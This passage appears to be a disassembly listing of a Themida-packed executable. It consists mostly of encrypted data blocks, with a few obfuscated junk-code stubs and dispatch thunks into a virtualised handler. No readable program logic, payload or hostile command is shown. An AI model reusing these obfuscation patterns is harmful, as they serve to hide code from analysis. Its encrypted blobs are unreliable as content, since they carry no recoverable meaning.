		dd 0B62BA388h, 0CC000003h, 0B4A12ED2h, 0A28F1CD0h, 917E0BE5h
		dd 7A67F4F2h, 9853E018h, 15D3AF05h, 2F89B88h, 0ED0B8875h
		dd 0D7157360h, 0FFBCA84Ah, 19FFB26Eh, 21906E56h, 0AFEDB863h
		dd 0B7C79FC5h, 97FB1406h, 0D632A95Ah, 0BD82F080h, 0D6BB52E9h
		dd 684DABE9h, 4CC231DCh, 0EAA5E0E8h, 6350110Bh,	4EE5CA20h
		dd 0E0B2D2BFh, 82DA7BA4h, 0F9C382FAh, 4FE67D62h, 0DB157663h
		dd 2EB38677h, 0A635E36Eh, 600DA219h, 43D039CDh,	0F2000000h
		dd 3EF1280h, 0FA022D46h, 0EFAA9719h, 0A18E7A11h, 917D0AE4h
		dd 2207E5A4h, 2B3FFC8Bh, 5119FA02h, 3B28B533h, 0D3BFA45Ah
		dd 654AA6E6h, 4CF47001h, 0A73E7F61h, 2F7A018h, 0C7B40000h
		dd 0B44B30CEh, 60214725h, 0D4B4A186h, 0B46706C3h, 715D1228h
		dd 28B4B9B4h, 0DD740B12h, 2E6D5A46h, 9DFEEBD0h,	0B03DCC63h
		dd 3B27C5C3h, 999F31D7h, 23B2D509h, 0B533513Eh,	45BBDCC9h
		dd 0AD3AC960h, 0A28E731Fh, 0FA1389E5h, 4B4E3B19h, 0A239D0B5h
		dd 136900BDh, 0C36E19FAh, 657ADE54h, 2FCDC84Ah,	0FB5A26CBh
		dd 0A3BAF56Ch, 2C23419Eh, 45000000h, 3EF1280h, 0F9DD6C46h
		dd 0DCC15819h, 0F9DE4A1Fh, 3DA18D19h, 7A788C5Ch, 30CECB92h
		dd 0B05F0A99h, 9EA8C0EFh, 0BC1D41h, 213F0000h, 0B3A08563h
		dd 473419D7h, 0D9C6AB49h, 0F3B03DBBh, 1228B873h, 0E06D8B09h
		dd 9E2490F4h, 6CE837FEh, 5490F0DDh, 50B1E16Fh, 0FAD3A764h
		dd 5AF119F9h, 537DE1CDh, 0FFE783A4h, 0C6A881DFh, 0A7E95662h
		dd 0E4730AE8h, 0D9C52456h, 0CD97641Ch, 0DDC96021h, 0C45391F0h
		dd 51AFEBD8h, 4974D8C4h, 4924E1B0h, 7B21CD02h, 0C41080E4h
		dd 9FFBE877h, 0A21E4F0Ch, 0FA621CDh, 719AC478h,	391EFEBFh
		dd 1D8C1h, 50B0EE00h, 3EB2D6C3h, 2DC3C4B1h, 16D4B3A0h
		dd 2FE9C89h, 0D1E3BA75h, 0BDAA37B1h, 0AA9724DAh, 95820FE9h
		dd 0CA6CF9F7h, 0B54C21DEh, 907819FFh, 876121B2h, 718F0DFAh
		dd 128006E4h, 2A1703EFh, 0A15F3A68h, 0FF8E25BCh, 0F9DD7042h
		dd 0D8BD5419h, 0F9DE4E1Bh, 3D6D2E19h, 270CA35Dh, 0B99E5A3Ah
		dd 3556C570h, 8809F8A3h, 419E5F27h, 0CDB6h, 6321D800h
		dd 0C8B4A085h, 0A3292364h, 0B8751FA8h, 12296AB5h, 0FCE9780Fh
		dd 0C07D629Eh, 12296EA6h, 0AD3AB6D6h, 0CACEC0C0h, 0C7B39F36h
		dd 6F4F1EDBh, 0DE751229h, 296F4C21h, 52E17812h,	761D816Dh
		dd 0AD425EBDh, 7D14EAABh, 0CF3260EEh, 8A0AF7E3h, 5822DF6Eh
		dd 6C19FA39h, 0EF85E9D5h, 5BC7E722h, 94800D9Ch,	290EECA7h
		dd 0BA9F5D3Ch, 6FFD8C23h, 35F2DE03h, 21CE04ECh,	685541D8h
		dd 5441CE2Ah, 0D206BA36h, 0D2FEBECCh, 0DB75EDh,	8DF10000h
		dd 0BFD9C653h, 0CEC7B441h, 0D7B6A330h, 0E39F8C19h, 0E0BD7805h
		dd 0A532CECCh, 921FDDB8h, 7D0AE4A5h, 67F4F090h,	511CD9C5h
		dd 7319FFB6h, 6121AD8Bh, 8F0DFA87h, 0F8988571h,	0F18017FCh
		dd 63218664h, 0D5B3A085h, 8EFC8A17h, 8362E9Eh, 57A6BB2Ch
		dd 0F698FCCBh, 2A16ADEAh, 0FFAE646Dh, 14736019h, 0C35AF1D6h
		dd 8405F2DEh, 0AEEEDB6Ah, 18796652h, 0D362F9DEh, 683B5946h
		dd 0FFAEC2ABh, 0D46B0219h, 0E73732EFh, 1BC692F0h, 995735ECh
		dd 83611F0Ch, 7FEEAB97h, 4592F0E6h, 4D3A1FAEh, 0C0385A4Eh
		dd 3B574429h, 0ADEBD8BDh, 0E9946A4Fh, 5B0593Ah,	83611F16h
		dd 6D8B09F6h, 695A1D81h, 0B317D1B1h, 0C8B514C8h, 0B79C2BC9h
		dd 0C3Fh, 3EEF5300h, 85B196D0h,	0C2F5D362h, 837D21E4h
		dd 15D3B19Eh, 0A8464330h, 3DB3D6C3h, 0D12F6B58h, 6583FFECh
		dd 0F6F49380h, 8D632411h, 23D9BBA8h, 89566F3Eh,	4C681E6h
		dd 83000000h, 348704EEh, 3C895C24h, 4F626824h, 34890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		mov	eax, 7D6F802h
		push	edx
		mov	edx, eax
		mov	esi, edx
		pop	edx
		pop	eax
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	9B4h
		mov	[esp], ebx
		mov	ebx, esi
		mov	[ecx+8], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		wait
		jnb	short loc_5E6943
		rol	dword ptr [eax+edi*4+30h], 1
		add	dl, bh
		pop	es
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 28h
		dd 7715B47Dh, 0C57DEC6h, 0EF12A932h, 1205F632h,	606594B4h
		dd 7B6F4B4Fh, 35408F22h, 0BF79FDFFh, 7768FA07h,	1D43C761h
		dd 0EA0ED723h, 0D34F539Ah, 0A5618464h, 0B31B1D77h, 226577BBh
		dd 0D657F050h, 4A56A589h, 9C6387B1h, 783EBA4Bh,	0C1BBCF5h
		dd 1E1FADADh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		sub	ecx, [esi]


loc_5E6943:				; CODE XREF: Themida_:005E68DEj
		sbb	ecx, eax
		xchg	eax, ebx
		push	edi
; ---------------------------------------------------------------------------
		db 66h
		db 0CCh
		align 2
		dw 0E405h
		dd 0E82A7A4Fh, 315FFC8Dh, 5D3B57C0h, 6D466471h,	8D1E505Dh
		dd 0D7040D8Dh, 28D0F07h, 8B000000h, 518D89D0h, 6A07D11Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 6DE3C355h, 1AB0181Dh, 2D5585C7h, 65A407D1h
		dd 81660000h, 0C7D039F7h, 0D11D3985h, 7, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 66A5A2F3h, 0A118F281h, 1081B5FFh, 6A07D1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0B032B3C3h
		dd 419D8B38h, 0FF07D131h, 0D1180195h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 6DE25A75h, 0C43E1A46h, 8F0FA6BCh, 18h, 13E9h, 12B80100h
		dd 29E37D03h, 7A45DE4Bh, 688F6566h, 0D91DF463h,	95FF006Ah
		dd 7D10055h, 5AEBC08Bh,	0D2689803h, 10E40EE9h, 0C0C7033Ch
		dd 5E05927Dh, 97CFCB09h, 0A6A9A5A1h, 7BBAD331h,	0C1FDB7A7h
		dd 0D7BEBEC7h, 3D4D77EFh, 0DBADE6A4h, 4B2A4BA5h, 0C56CA861h
		dd 0F0C11C42h, 0B37E9BB8h, 26E52CDh, 0DC47DD90h, 0EE6D5AEEh
		dd 0B63847B9h, 717E6914h, 96037DE3h, 1B621941h,	6E8CAAAh
		dd 3000000h, 0F608D9EAh, 94BF6643h, 0C181594Eh,	6B70h
		dd 0FAEEF81h, 38B852A7h, 81630113h, 0F893E8h, 0FB8B6663h
		dd 880F31FFh, 4, 7E94BF66h, 4AF2815Ah, 89326B43h, 0D103AD9Dh
		dd 16EA8107h, 0E90337C1h, 5, 54232FC9h,	34F2815Fh, 8B28688Fh
		dd 0D11785B5h, 0E8118907h, 0Ah,	0DAD1E1D0h, 34C1F835h
		dd 0AE9B081h, 92000000h, 8ADEF66Dh, 2620980Bh, 0E9815E44h
		dd 219250D6h, 25418D09h, 0C18107D1h, 219250D2h,	81FFBF0Fh
		dd 1E8h, 1E850F00h, 0E9000000h,	7, 0DA8634D0h, 0E932EE44h
		dd 33h,	51E1502Eh, 45AABCA8h, 5E1016CEh, 236060AEh, 0D10C95B5h
		dd 615A5107h, 0C6816652h, 61597964h, 0FFFF53E9h, 0AB1250FFh
		dd 3E0B60C2h, 46D1B54Bh, 8B773376h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 5B1AA508h
		dd 0E9BA388Bh, 11h, 0BBC015E6h,	7CC47EF2h, 0F4A230DEh
		dd 17F9C712h, 83DE8B0Ah, 0D13405BDh, 9750007h, 2849BD83h
		dd 740007D1h, 8B535019h, 3FCB8C0h, 85890000h, 7D113D5h
		dd 0E1B09D8Dh, 0D3FF07D3h, 0BD83585Bh, 7D12849h, 50177400h
		dd 3FCB853h, 85890000h,	7D113D5h, 0DE9F9D8Dh, 0D3FF07D3h
		dd 8166585Bh, 66F585DBh, 0F07A7BBh, 589h, 0F2816600h, 0C08B1D78h
		dd 606053F8h, 0FE961h, 6F1D0000h, 0E003C70Ch, 0D75094D5h
		dd 2DB4FC61h, 835A617Fh, 0D11715BDh, 840F0107h,	2Bh, 0F34E780h
		dd 382h, 0D68B6600h, 2A19BD83h,	0F0007D1h, 1285h, 0D98B6600h
		dd 2AA1BD83h, 0F0007D1h, 2A84h,	0E9F08A00h, 414h, 13E9h
		dd 55315000h, 768AAB1Ah, 0BBE5F38Fh, 0C81B7861h, 0F28F8FC2h
		dd 0
		dd 8166DE8Ah, 6A0BCCD2h, 24B43491h, 0AEB35023h,	0FCB339CCh
		dd 0BDEC1A24h, 1BCFB37Bh, 0BBF7BB20h, 0CFB32F20h, 24E47D24h
		dd 1533ABE5h, 0D085C9Bh, 0F378BA12h, 392BFA9h, 3FD93DF0h
		dd 9FB0D274h, 97933A24h, 0A33A62E7h, 0B7323E00h, 0F9AA3E00h
		dd 0ACF33A24h, 0FDEF06E7h, 84C66CB0h, 85B9E0D2h, 0C06AB142h
		dd 0E7B329AAh, 0FE333524h, 10B33A24h, 0FCB33A2Ch, 7393BFD9h
		dd 667B8203h, 24D5EADBh, 3F5A89A3h, 8DB33A20h, 0F05B6F24h
		dd 0D9B33A24h, 75EEF979h, 0FFB71E48h, 22B71E60h, 0DAB33A24h
		dd 0E788F971h, 93B6CA00h, 51D66178h, 0F9B3D271h, 7DEE3A24h
		dd 0A9B42EC9h, 68B35023h, 9FB339CCh, 0CEC1A24h,	0C3CFB37Bh
		dd 0D7F7BB20h, 0F9B32220h, 3FE47D24h, 1FDEE533h, 0FF38CFDEh
		dd 0CBF78E9Fh, 0CF69BA32h, 65BC5A74h, 0F3B33A24h, 0C8BC6874h
		dd 0FCB336CDh, 0F6561424h, 0F0A45E61h, 0E8D80E07h, 0AEEB605Dh
		dd 8D973EADh, 0F05B6D24h, 0D9B33A24h, 75ECF97Bh, 0FFB71E58h
		dd 25B71E60h, 0D8B33A24h, 8A48F973h, 9835A9D1h,	0BFB2359Dh
		dd 8509C400h, 0A4BA0342h, 96E13A4Eh, 3FB33A27h,	0C5706004h
		dd 0CB976EADh, 0E3977EA5h, 0F3B33A3Eh, 26706866h, 5172192Eh
		dd 0AF38FAD8h, 3FB7B12Bh, 24D53A24h, 0C3B69195h, 8DB33A26h
		dd 0F05B6C24h, 0D9B33A24h, 75EDF97Ah, 0FFB71E50h, 23B71E60h
		dd 0D9B33A24h, 135DF972h, 0CC655F63h, 93456734h, 62738242h
		dd 27D2DAA5h, 18D25CBAh, 0B40EBF9Eh, 5E58BB2Ch,	0A9A58318h
		dd 8D4F72AFh, 0F05B6F24h, 0D9B33A24h, 75EEF979h, 0FFB71E48h
		dd 27B71E60h, 0DAB33A24h, 8623F971h, 0F32B43Ah,	0F3B33A37h
		dd 0F44A1ABh, 56576224h, 0E42CC799h, 0FB7292B8h, 66560F5Dh
		dd 426CBA7Eh, 0E7B33B9Ch, 0A36AB124h, 0F9B33FCCh, 16437924h
		dd 0A438670Ch, 1BBFB37Eh, 9FB335CDh, 97CF4424h,	2F22DC04h
		dd 878BCFCCh, 19EF565h,	46AB642h, 71B7FBD2h, 3FB25FA1h
		dd 0CEB35024h, 0CFB339CCh, 24EA1A24h, 0D7FFB37Dh, 0DDF7BB20h
		dd 0FCB32F20h, 0BDE27B24h, 385A6019h, 0E0B33A24h, 0D031B3F1h
		dd 8DEAD1DCh, 0F05B6D24h, 0D9B33A24h, 75ECF97Bh, 0FFB71E58h
		dd 25B71E60h, 0D8B33A24h, 0DC1CF973h, 22D95E76h, 0F7313554h
		dd 9FB33A24h, 9A933A9Fh, 0FE8EA39Eh, 0BABC521Dh, 9FB33B7Fh
		dd 27E23A4Eh, 0E7B33A27h, 0AA706304h, 0FD9776ADh, 0F8977EA5h
		dd 7EB33A3Eh, 0D3706B65h, 8DEDD685h, 0DC5A299Dh, 84B33A24h
		dd 0E8D226C6h, 0CABAEC87h, 72D040D4h, 38360948h, 395B1BC6h
		dd 0BAB33A24h, 0E1F7A013h, 0F43A3540h, 1AB33A24h, 0F9B33A2Ah
		dd 0F9FECC8h, 0B755B254h, 0D6189F1h, 14E9AEDDh,	0CFD93B5Dh
		dd 0E7B0D275h, 0AA933A24h, 0B53A63E7h, 0B8323E00h, 7EA83E00h
		dd 6EF23A24h, 0F8641CE7h, 7D7107EFh, 0E7B8D313h, 827D3A24h
		dd 0CC60C0F7h, 0FEAEE523h, 0C9BC6C39h, 0C03260F6h, 1FB33A24h
		dd 0CF06B82Bh, 0AA083A24h, 34C2B3F9h, 2EB564A1h, 0FCB33B23h
		dd 0CA50BB24h, 0D69B8853h, 9FB33A9Ch, 27E23A4Eh, 0E7B33A27h
		dd 0AA706304h, 0FD9776ADh, 0F8977EA5h, 7EB33A3Fh, 34706B65h
		dd 0AE49A353h, 0AF5A3DFBh, 0E7353544h, 92B33A24h, 0E7F88442h
		dd 2B60BB45h, 979F37A6h, 3FB33A7Bh, 5333C244h, 9CEA5BAEh
		dd 0E7B32BCDh, 2BCFC424h, 0C78529F7h, 9D2AE66Ch, 4A2CED4Ah
		dd 59E9A913h, 60B843A7h, 0CF86BE2Bh, 34333A24h,	0AD36FD0Dh
		dd 0F8B4ED22h, 96B33A24h, 7D5B6824h, 1FB33A24h,	16E9F97Eh
		dd 4EB71E70h, 0FDB71E60h, 0B1B33A24h, 2ED9F976h, 16CFAADFh
		dd 0BE085C58h, 7765B16Eh, 9FB328CDh, 31DE1024h,	0A3B30847h
		dd 0D20F8FF8h, 82E612F6h, 0AE0494CCh, 2599F4A4h, 41BC0B9Dh
		dd 0B736B704h, 42B4ED28h, 30B94C99h, 874B0123h,	28BC0A23h
		dd 9587DEDh, 96E33A4Eh,	3FB33A27h, 0C7706204h, 0CB977EADh
		dd 0E3977EA5h, 0F3B33A3Dh, 0ED706A64h, 32AFBBCCh, 0FA095C6Bh
		dd 2A0EB996h, 9EB4EB33h, 0CFD1BE2Bh, 0E7093A24h, 70F57A82h
		dd 28992399h, 79BC3A23h, 7EB33A74h, 0D7E43A4Eh,	9FB33A27h
		dd 90706504h, 0E39746ADh, 0F7977EA5h, 0F9B33A39h, 6D706D63h
		dd 0FC191961h, 90B97966h, 9FB8D32Fh, 86C93A24h,	0D5F2DB04h
		dd 331282A2h, 580EB9F3h, 0FCB4EB0Eh, 7EAABE2Bh,	0BFBC3A24h
		dd 9FB33A2Ch, 0CFB1B62Bh, 86D33A24h, 0F3B3F0CDh, 6A79BB24h
		dd 7FA2ACAEh, 0AFA42F99h, 0BABC3B23h, 9FB33AAAh, 749A8142h
		dd 0B2B35079h, 0F3B339CCh, 3AEE1A24h, 0D8DFB379h, 5AF7BB20h
		dd 3FB32C20h, 5CE67F24h, 75D81B63h, 84317D43h, 0F3A2D344h
		dd 60363A24h, 81C314BCh, 60B11E66h, 0F80EDE95h,	0FE98848Eh
		dd 9FB350E7h, 0E7B339CCh, 30EB1A24h, 0DDF7B37Ch, 0D8F7BB20h
		dd 7EB32720h, 0FCE37A24h, 0DEC9E442h, 7EF568B1h, 0AB5A2798h
		dd 99B33A24h, 0FA5B6924h, 0DCB33A24h, 0F7E8F97Fh, 0BEB71E78h
		dd 86B71E60h, 8CB33A24h, 4EACF977h, 2275FFDCh, 93EEE3AEh
		dd 0FF5B6B24h, 5EB33A24h, 0B6EAF97Dh, 1EB71E68h, 0DAB71E60h
		dd 0A6B33A24h, 1EF6F975h, 2DE8D0A5h, 9A7C149Dh,	0F3206B9Fh
		dd 0E8B55399h, 6A3EB723h, 77B4ED2Fh, 9C896639h,	0DD5ABF17h
		dd 36983DF5h, 9DB1D3E5h, 441BC0Bh, 28B736B7h, 9942B4EDh
		dd 2330B94Ch, 23874B01h, 8328BC0Ah, 0A4F305E9h,	65EBD83h
		dd 740007D7h, 0A8D8D0Dh, 0B807D14Dh, 1,	6A40E1FFh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0E57BC352h, 8E9B3h, 87C60000h, 10CB5C84h, 80515BBDh
		dd 0F5BC7E7h, 485h, 0DE8B5600h,	0BF0F515Bh, 0E8835AD3h
		dd 57006A2Dh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 3DE431D1h, 803E4135h, 0C08B8BDAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0EDC35545h, 3DBD6AECh
		dd 13E9D4h, 94B00000h, 0C0A2848Dh, 4C03138Eh, 3B14F8A2h
		dd 177BCAE1h, 5BD83ACh,	7D134h,	0BD830975h, 7D12849h, 50197400h
		dd 0B8C08B53h, 3FCh, 20118589h,	9D8D07D1h, 7D3E217h, 585BD3FFh
		dd 2849BD83h, 740007D1h, 0B8535017h, 3FCh, 20118589h, 9D8D07D1h
		dd 7D3DEB8h, 585BD3FFh,	4BEA8166h, 52006AE4h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0A1F99904h
		dd 0E5D647B7h, 0D2BF0F20h, 0C08B70B6h, 2FE9h, 5E97D900h
		dd 809E0169h, 7Ch, 9 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5E81DF
; ---------------------------------------------------------------------------
		push	7D70F14h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D71034h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D711B9h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D712DFh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7147Bh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D71721h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D718A5h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D71996h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 52h,	2Ch, 0B4h
		dd 0A25E3A27h, 916F2815h, 7A781704h, 668200EDh,	2D7F1ED9h
		dd 1906936Dh, 6F3807Eh,	0F1DE6B85h, 26C85593h, 0C1F07D3Ah
		dd 0ECD419FFh, 7A701300h, 916FFE95h, 0F4793622h, 0D01228B4h
		dd 0F366D539h, 48845B3Eh, 0DBCCCCB9h, 29624F1Eh, 47DE7512h
		dd 0D7296E5Bh, 52F75BF2h, 75947A3Ch, 0AE9B800Fh, 0F78512EEh
		dd 8E7A668Bh, 0F7C41F2Ah, 0DE6DBE08h, 0FA3F4D21h, 0CE8B7719h
		dd 19FA3E9Fh, 0A045BBDDh, 0D08D7209h, 19FA3E99h, 2364933Eh
		dd 419EBC8Ch, 2951h, 84016500h,	0B5B54097h, 80EDCB5Ah
		dd 4603EF12h, 19F9DD6Ch, 1FDCC158h, 19F9DE4Ah, 7233E28Dh
		dd 419E5F3Dh, 0EAA0h, 6321C200h, 0D7B3A085h, 0B46607C4h
		dd 0C75E1228h, 0B54F1EDBh, 0DE751228h, 17756247h, 8907F4D9h
		dd 1921DE6Bh, 631228BAh, 4D3AC725h, 3ECCB14Fh, 4C1AD4Ch
		dd 19F9CD3Ah, 0D866F38Ah, 5791F1AAh, 5844DB72h,	0EDD2286Bh
		dd 1EDBC756h, 21CDAEFBh, 50B21E82h, 0D2987BA4h,	12A138B0h
		dd 0FDEAD66Dh, 0E47B609Eh, 1E7C6955h, 10F50B8Ch, 9DD08D79h
		dd 2721CDA8h, 7F6CF990h, 0BC31E503h, 20FEBF46h,	0BC3C33Bh
		dd 910D0000h, 93F5E26Fh, 0A2E3D05Dh, 0B3D2BF4Ch, 0DFBBA835h
		dd 0C4D99421h, 0C95692F0h, 0B643B9DCh, 0A12EC8C9h, 8B18D4B4h
		dd 2D40FDE9h, 9719FFC4h, 0BE22D1AFh, 3D90CAA6h,	0F10F8CCDh
		dd 0BCDECB5Ah, 6E53ADEEh, 0C7B340D7h, 0EFE79763h, 7504089Fh
		dd 5FEC0888h, 0A3CA8773h, 211228BCh, 8CE19E8Ah,	381228BCh
		dd 223412A1h, 87445735h, 1228B4E6h, 0CBB047DEh,	6B17A534h
		dd 0D5DD9A86h, 0EF19F9DCh, 23877358h, 0C780B98h, 27E47399h
		dd 19FA2942h, 0DBBCA995h, 2EC24458h, 0E279CDAAh, 2CD766FDh
		dd 18F3BCFDh, 0B5EA419Fh, 0C000000h, 0A0856321h, 784CD7B3h
		dd 959E5AB2h, 56422EC5h, 28EFD499h, 0FEDA812h, 2AE7D36Ah
		dd 1228F043h, 765BEA81h, 28F481B9h, 5F9DFB12h, 49A7E5D2h
		dd 0EFA4D664h, 0A9665290h, 1228F4C4h, 0E6D26900h, 0FA091529h
		dd 2C18AF19h, 8EA8340h,	43DA19FAh, 0E99927B4h, 0A95F1C08h
		dd 1B21CDE7h, 0AE936D2Eh, 0A7948017h, 93800DEBh, 0A245F9F7h
		dd 82FEBE81h, 0AA3259Dh, 0B1ED0000h, 0B3D5C24Fh, 0C2C3B03Dh
		dd 0D3B29F2Ch, 0FF9B8815h, 0E4B97401h, 0A936B2D0h, 9623D9BCh
		dd 810EE8A9h, 6BF8F494h, 4D20DDC9h, 7719FFC5h, 3522B18Fh
		dd 220F9E50h, 0EFB8860h, 7E5728Eh, 0A0856321h, 554AD5B3h
		dd 473B81F9h, 9085B093h, 4CE32D3Ch, 0E89A28B5h,	1E601D09h
		dd 5F19FA2Fh, 0F6DB1572h, 2F204D0Ah, 0DA419FAh,	5642E776h
		dd 2EC0AD6Ah, 6D0419FAh, 0FA2EBDB0h, 0D9700719h, 2F3337F4h
		dd 0F9A419FAh, 0AC26890Ah, 0E3B7419Eh, 0D9000006h, 3EF1280h
		dd 0F9D33446h, 0DF99019h, 78839CA9h, 0BAC526EDh, 69949ACFh
		dd 4429B84Fh, 0FA40E287h, 0DB4AF519h, 9EBDD5DAh, 6B40841h
		dd 0B81C0000h, 0B5CC1CE2h, 0FDDB6A7Ch, 0FB991280h, 0B482EBA8h
		dd 0AB421228h, 0D4917D14h, 19F9CCA2h, 0E9A68B22h, 19F9CC80h
		dd 0F2076B57h, 1267DADDh, 33E28D1Ch, 9F1C3D72h,	678A041h
		dd 50B40000h, 72B2A0D8h, 27C5C381h, 8514AB42h, 92BE22A7h
		dd 95B7C4BAh, 1DF0CD5Ch, 9C886919h, 0FA123FDFh,	0DC998519h
		dd 19FA1191h, 0A0059C33h, 0F3B6FE3h, 62210EA6h,	79089F84h
		dd 6E5ABFEBh, 4E90781h,	35F2DE6Dh, 0ADE058FDh, 8FF63C7h
		dd 564F21D7h, 0A7E6D3BFh, 3ECD6449h, 3ADFCB59h,	94D9914Eh
		dd 54EBB5B1h, 0F28F7C68h, 0BB780FF4h, 0B5B194B2h, 0EC7B12h
		dd 0EA777513h, 0AD619FFDh, 52935214h, 1E73EBD0h, 68000009h
		dd 503DCA36h, 3E2BB834h, 2D1AA759h, 1603906Eh, 34EF7C74h
		dd 0A9474369h, 96542F1Ch, 817F1C09h, 6B8907F4h,	93503CDEh
		dd 19FFC5DAh, 222402EAh, 0B4995735h, 9351301Dh,	9B8817AEh
		dd 2E1AFFFDh, 0B4E88542h, 45DC1228h, 977A28B6h,	0C1CAEEABh
		dd 63FA19FFh, 0C28019D6h, 0B15219FFh, 3C28C4C4h, 0C2DA9350h
		dd 53EA19FFh, 0FEA937C4h, 76E2B17h, 0BD19FFC3h,	34544126h
		dd 0B6E2BB8h, 7119FFC3h, 0FDEAD610h, 46D3629Ch,	0D8BD3B59h
		dd 0FFB34E1Bh, 0F827D219h, 3042DE42h, 6650B934h, 4EAAEAD7h
		dd 38B4D4C1h, 6FD39653h, 42ED19FFh, 0C03C5CD3h,	163BB33h
		dd 21DD0000h, 35998563h, 0D2D432F0h, 0DF28199h,	73306320h
		dd 1228E3FAh, 46B8DDCAh, 3F2C18AFh, 2CC3A846h, 72FBB89Dh
		dd 0A1228E3h, 9D896E8Ah, 0E379F4B1h, 0B44B1228h, 6EB9725h
		dd 926C2D1Ah, 0E384E9A6h, 0A9401228h, 47712E1Ah, 3619FFF1h
		dd 0C2AE4849h, 0FFF06805h, 36C55C19h, 0BC652D91h, 398F5071h
		dd 0F45FEEA2h, 2005F6CCh, 7F8A8h, 0A45C4200h, 926E2A17h
		dd 817F1805h, 6A8807F4h, 5692F0DDh, 1D8F0EC9h, 9F6837Dh
		dd 0F6E3708Eh, 0E1CE5B95h, 16B845A3h, 0C7006D2Ah, 0DCC419FFh
		dd 493622FEh, 7CF1AE48h, 1228B4h, 0EC836884h, 3421B047h
		dd 0C6B39854h, 63C05FC4h, 1CBC67B8h, 8E0BF885h,	96F6E370h
		dd 0F5E1CD5Ah, 9214C09h, 0CA31229h, 29091E4Fh, 800FA612h
		dd 14F9F793h, 5A376B27h, 3320059Ch, 0C7B49957h,	0FD462BC9h
		dd 36C2A352h, 0E5A59C8Bh, 0A8077E0Bh, 3539CD89h, 15h, 52352257h
		dd 0C986F1CFh, 52E9E830h, 0CF47D66Dh, 9Fh, 793622F1h, 1228B4F4h
		dd 4D4C39D0h, 0A433CAAFh, 2F1BD9B7h, 0B4E78643h, 0F6951228h
		dd 4FEF53F8h, 5EB6794h,	702D19B0h, 122923FDh, 0BCA130C7h
		dd 29336AFFh, 7CAB5612h, 9C29C7C5h, 2F14D2AFh, 2933F872h
		dd 1908B312h, 0FA876122h, 0B960211Ch, 0D13D7811h, 563BD269h
		dd 0E31D7D6Ah, 0CC2A6754h, 3637F4E0h, 0CF122940h, 614B8773h
		dd 0AC993EE4h, 8D7A11EFh, 770EF30Dh, 0CC7703E8h, 4BA5E65Dh
		dd 0A4E5D2BEh, 3FCE654Ah, 28CA8482h, 0D9D74E12h, 639CD47h
		dd 0FFFFFE53h, 3849628h, 21B80000h, 0E3A08563h,	1228B496h
		dd 6DA352FDh, 0DDFF6E09h, 0FCE145BBh, 2916A511h, 13008D6Bh
		dd 9E8B7775h, 8D7201FFh, 1DD3B4A1h, 0E3A8D18Eh,	0B4D41228h
		dd 0D5C55338h, 5C41BFDEh, 56422EC5h, 0EACF2969h, 0B107C453h
		dd 1319FFF0h, 8ECFC87Ch, 0FCE1F6CCh, 65C84h, 8F8A600h
		dd 0F60A8E7Bh, 0E51B7C69h, 0CE2C6B58h, 0BA365441h, 892B722Dh
		dd 7562EF09h, 624FDC12h, 4D3AC721h, 8224B14Fh, 0C894D996h
		dd 483019FFh, 8563216Ah, 10ECAC99h, 0A15F3E2Bh,	0A9967B0Ah
		dd 36230FE9h, 7D0A9957h, 0FA9EF090h, 0F38A2106h, 0DF197966h
		dd 1D8D0DFAh, 926E2E7Ah, 9A7F16ADh, 0B47CF1AEh,	0B1481228h
		dd 0B19E831Ah, 463318D6h, 7FC8AD43h, 0B84425D4h, 6B271E0Dh
		dd 2689008Dh, 9E39CD32h, 9DB94EB2h, 8EC2D59Dh, 27F49CD1h
		dd 2912812h, 2952Fh, 36564300h,	0FD8C99EDh, 70078B9Ah
		dd 2C76278Bh, 6F34345Eh, 806B49D8h, 0FC9815h, 0DE20841Bh
		dd 0C05EB8F8h, 0DDC9AE45h, 0A73934F1h, 0F48B1229h, 0A5AFA865h
		dd 0CBCD1118h, 26635035h, 620DE3C8h, 9540D2B3h,	7C4B066h
		dd 1118A566h, 0B8B5725Eh, 0C1118A5h, 0D84FDE75h, 38BD22D7h
		dd 688400EDh, 23006D9h,	80280000h, 1602EE15h, 28B51459h
		dd 8A19B012h, 0B48CE19Eh, 0A1381228h, 0B358FFBCh, 0D47F1117h
		dd 1603EF25h, 977C74h, 17B32A43h, 74039A11h, 0BC2FB2FDh
		dd 1F82B38h, 804D0000h,	9E02EE15h, 617173Fh, 402CBB7Fh
		dd 6F12F054h, 0E50B65ACh, 291E4528h, 51E87F12h,	1D6C05C2h
		dd 0C1581229h, 4BA9E8D5h, 3D1AD7BCh, 9A11181Dh,	307F00EFh
